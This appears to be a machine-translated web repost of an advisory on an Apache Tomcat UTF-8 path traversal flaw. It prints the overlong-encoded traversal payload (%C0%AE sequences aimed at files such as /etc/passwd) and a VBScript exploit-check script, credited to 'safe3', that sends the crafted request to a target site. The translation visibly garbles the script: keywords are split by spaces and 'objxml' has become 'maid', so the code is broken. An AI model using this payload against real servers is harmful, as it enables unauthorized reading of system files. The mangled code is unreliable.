Apache Tomcat UTF-8 coding Vulnerability

Source: Internet
Author: User
Tags apache tomcat

Hehe, Apache Tomcat has a vulnerability similar to that of the current year's iis url encoding. Now that CVE has been published, let me publish it!

The vulnerability occurs when Apache Tomcat does not properly convert the UTF-8 encoding, resulting in conversion to something similar when processing a URL containing % C0 % AE % C0 % AE .. /to traverse any system file, including

/Etc/passwd

The trigger condition is the 'allowlinking' and 'uriencoding 'options of the configuration file context. xml of Apache Tomcat or server. xml.

 

The vulnerability test code is as follows:

 

Dim strurl, strsite

Showb ()
Set ARGs = wscript. Arguments

If args. Count <> 1 then
Showu ()
Else
Strsite = ARGs (0)
End if

Strurl = "/% C0 % AE % C0 % AE/% C0 % AE % C0 % AE/% C0 % AE % C0 % AE/Foo/Bar"

Set objxml = Createobject ("Microsoft. XMLHTTP ")
Objxml. Open "get", strsite & strurl, false
Objxml. setRequestHeader "Referer", strsite

Objxml. Send ()

If maid. Status = 200 then
Wscript. Echo ("Vulnerability ")

End if

 

Sub showb ()
With wscript
. Echo ("+ -------------------------- =================================------------------------ + ")
. Echo ("exploit Apache Tomcat UTF-8 ")
. Echo ("code by safe3 ")
. Echo ("+ -------------------------- =================================------------------------ + ")
End
End sub
Sub showu ()
With wscript
. Echo ("+ -------------------------- =================================------------------------ + ")
. Echo ("Usage :")
. Echo ("cscript" &. scriptname & "Site ")
. Echo ("Example :")
. Echo ("cscript" &. scriptname & "http://www.example.com> result.txt ")
. Echo ("+ -------------------------- =================================------------------------ + ")
. Quit
End
End sub

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.